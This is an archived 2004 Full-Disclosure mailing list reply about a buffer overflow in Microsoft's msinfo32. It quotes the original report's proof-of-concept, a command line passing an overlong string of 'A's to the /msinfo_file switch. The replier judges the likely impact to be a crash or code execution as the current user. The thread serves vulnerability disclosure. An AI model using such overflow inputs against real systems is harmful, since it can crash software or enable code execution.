[prev in list] [next in list] [prev in thread] [next in thread]
List: full-disclosure
Subject: RE: [Full-Disclosure] MSInfo Buffer Overflow
From: "joe" <mvp () joeware ! net>
Date: 2004-08-30 23:45:15
Message-ID: 200408302345.i7UNj9305022 () pop-5 ! dnv ! wideopenwest ! com
[Download RAW message or body]
I think at best you could succeed in crashing the process or executing code
in the context of the user running msinfo32.
-----Original Message-----
From: full-disclosure-admin@lists.netsys.com
[mailto:full-disclosure-admin@lists.netsys.com] On Behalf Of E.Kellinis
Sent: Monday, August 30, 2004 11:17 PM
To: full-disclosure@lists.netsys.com
Subject: [Full-Disclosure] MSInfo Buffer Overflow
<SNIP>
Although in tests this bug wouldnt lead to dangerous situations..
I wouldnt bet 100% on that !
=====================
Proof Of Concept Code
=====================
C:\Program Files\Common Files\Microsoft Shared\MSInfo>
msinfo32 /msinfo_file=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAA
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html
[prev in list] [next in list] [prev in thread] [next in thread]
Configure |
About |
News |
Add a list |
Sponsored by KoreLogic